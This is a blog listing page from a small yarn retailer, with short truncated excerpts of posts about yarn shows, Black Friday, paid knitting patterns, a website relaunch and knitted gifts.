Unless you have been living under a rock for the last 2 weeks you can’t escape hearing about Black Friday… A gratuitous day of fake deals and inbox spam… However we thought we’d do something a bit different… I have spent much of the last year on Zoom...

Luxury gifts with your luxury yarns… This post is not particularly yarn related bear with me… I was recently introduced to doTERRA essential oils by a friend. I was slightly cynical at first because I am always a little wary of network marketing products,...

Spring Show…!!!? Ironic or what?! This was the view when I left my house last Wednesday, and I live in London so we hardly ever get snow! It was set-up day for the Spring Knitting and Stitching Show so I called the offices of to check that they were still going...

Do you love yarn? So, the first of the year’s yarn fairs are almost upon us (well actually it’s Unravel this weekend but we don’t talk about that as I have applied 3 years in a row and never managed to get a place…?) Anyway, I’m going to...

Why pay for a pattern? People often complain about paying for knitting patterns. There are so many patterns that are free, so why pay…? I think that many knitters have no idea of the process, the hard work, effort and cost involved, so I thought I’d write...

New year, new website, same great products. I have been deliberating over what to do with my website since the birth of my second son just over 2 years ago. When I originally started Luxury Yarns, I built the site on a platform that was the best choice at the time....

So, I am a bit excited and a bit nervous – I am off to Nottingham Yarn Expo on Friday. It’s the first NYE and although I’ve done several shows this year, this one I wont have my friend Deb from FindMeKnitting with me. Shows on your own can be very...

It was pointed out to me today that I haven’t written anything here in a very long time… I don’t have long (when do I ever with 2 smalls, 2 businesses and a dog) but I thought I would quickly add some photos sent to me last week by my lovely...

I have always thought of myself as a yarnaholic, and infact think I have said so many times in this blog and on the site. Long before I started Luxury Yarns, even in my teens and 20’s I would walk into a yarn store or haberdashery and get an overwhelming feeling...

I decided to make some wrist-warmers for my Mother In Law for Christmas because she wears the all the time and hers are getting a bit tatty (hope she’s not reading this!) Anyway, I wasn’t sure which yarn to use, but decided on the gorgeous Alegria...

This is one of those times when I am SURE I had written a post about this, but can’t find it anywhere so am starting to doubt my sanity… I know that I am always doing about 10 things at once, so perhaps this slipped under the radar… Anyway, I will...
